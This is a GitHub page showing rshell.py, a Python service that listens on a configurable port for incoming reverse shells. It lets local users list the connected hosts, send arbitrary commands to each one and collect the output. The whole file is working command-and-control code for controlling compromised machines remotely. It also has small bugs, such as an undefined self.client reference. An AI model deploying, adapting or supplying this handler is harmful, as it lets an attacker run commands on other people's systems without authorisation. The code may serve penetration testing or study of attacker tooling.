-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrshell.py
208 lines (180 loc) · 6.73 KB
/
rshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#!/usr/bin/env python3
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
"""
Handle reverse shell coming from the other users.
Interaction with the various shells can come from localhost, i.e. a user connecting to the port on
localhost can run commands on the shells.
"""
import logging
if __name__ == '__main__':
from lib.mplog import setup_logging
setup_logging()
import socket
import threading
import time
import os
import sys
from lib import ipc
from lib import procs
from lib.constants import *
logger = logging.getLogger("service.rshell")
class ShellConnection:
def __init__(self, socket, client):
self.clientsocket = socket
self.client = client
self.received = b""
self.archived = b""
def run(self):
logger.info("Ran shellconnection")
while True:
try:
data = self.clientsocket.recv(2048)
self.received += data
except OSError as e:
logger.warning("Socket receive error: {}".format(e))
return
if len(data) != 0:
logger.debug("Received '{}'".format(data))
else:
logger.debug("Client {} closed connection".format(self.client))
return
def send(self, data):
""" Send data (command) to client. """
self.clientsocket.send(data)
if data.strip() == b"exit":
logger.info("Closing shell {}:{}".format(self.client[0], self.client[1]))
self.clientsocket.shutdown(socket.SHUT_RDWR)
self.clientsocket.close()
def get_data(self):
""" Get last data that was received and mark data as read. """
ret = self.received
if ret == b"":
return b"\n"
self.archived += self.received
self.received = b""
return ret
class ShellReceiver:
def __init__(self):
# Get which port we should listen to
response = ipc.sync_http_raw("GET", SOCK_CONFIG, "/get/variable/Options/LPORT")
ipc.assert_response_valid(response, dict)
assert "LPORT" in response["text"]
try:
self.port = int(response["text"]["LPORT"])
except:
logger.critical("Unable to convert LPORT to in")
sys.exit(0)
self.socket = None
self.unix_socket = None
self.workers = []
def run(self):
logger.info("starting receiver on {}:{}".format("0.0.0.0", self.port))
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(("0.0.0.0", self.port))
self.socket.listen(5)
while True:
(clientsocket, address) = self.socket.accept()
logger.info("Received connection from {}".format(address))
if address[0] == "127.0.0.1":
logger.info("Receiving on localhost")
if self.receive_localhost(clientsocket) is False:
self.close_sockets()
self.socket.close()
return
else:
continue
shell = ShellConnection(clientsocket, address)
newthread = threading.Thread(target=shell.run)
self.workers.append({
"thread": newthread,
"object": shell,
"ip": address[0],
"port": address[1]
})
newthread.start()
def close_sockets(self):
logger.info("Closing all sockets")
for worker in self.workers:
if worker["thread"].isAlive():
worker["object"].send(b"exit\n")
self.workers = []
def find_worker(self, ip, port):
for worker in self.workers:
if worker["ip"] == ip and worker["port"] == port:
return worker
return None
def command2packet(self, cmd):
parts = cmd.split("$")
if len(parts) >= 3:
ins = parts[0]
ip = parts[1]
try:
port = int(parts[2])
except:
logger.warning("Unable to convert {} to int".format(parts[2]))
return None
command = "$".join(parts[3:])
return {"instruction": ins, "ip": ip, "port": port, "cmd": command}
return None
def handle_command(self, cmd):
if cmd == "exit":
return (b"", False)
elif cmd.startswith("exec$"):
parts = cmd.split("$")
if len(parts) >= 4:
ip = parts[1]
try:
port = int(parts[2])
except:
logger.warning("Unable to convert {} to int".format(parts[2]))
return (b"Invalid command", True)
command = "$".join(parts[3:])
worker = self.find_worker(ip, port)
if worker == None:
return (b"Client not found\n", True)
worker["object"].send(command.encode() + b"\n")
return (b"OK\n", True)
elif cmd.startswith("get$"):
packet = self.command2packet(cmd)
if packet != None:
worker = self.find_worker(packet["ip"], packet["port"])
if worker != None:
data = worker["object"].get_data()
return (data, True)
else:
return (b"Client not found\n", True)
else:
return (b"Invalid packet\n", True)
elif cmd == "list":
ret = "ip,port\n"
for worker in self.workers:
if worker["thread"].isAlive():
ret += "{}${}\n".format(worker["ip"], worker["port"])
return (ret.encode(), True)
return (b"Not a valid command\n", True)
def receive_localhost(self, clientsocket):
try:
data = clientsocket.recv(256)
except OSError as e:
logger.warning("Socket receive error: {}".format(e))
return False
if len(data) != 0:
logger.debug("Received '{}'".format(data))
(response, close) = self.handle_command(data.strip().decode())
clientsocket.send(response)
clientsocket.close()
return close
else:
logger.debug("Client {} closed connection".format(self.client))
return True
if __name__ == '__main__':
resp = procs.wait_service_up(SOCK_CONFIG)
if resp is True:
shell = ShellReceiver()
shell.run()
else:
logger.error("Config service was not ready")
sys.exit(1)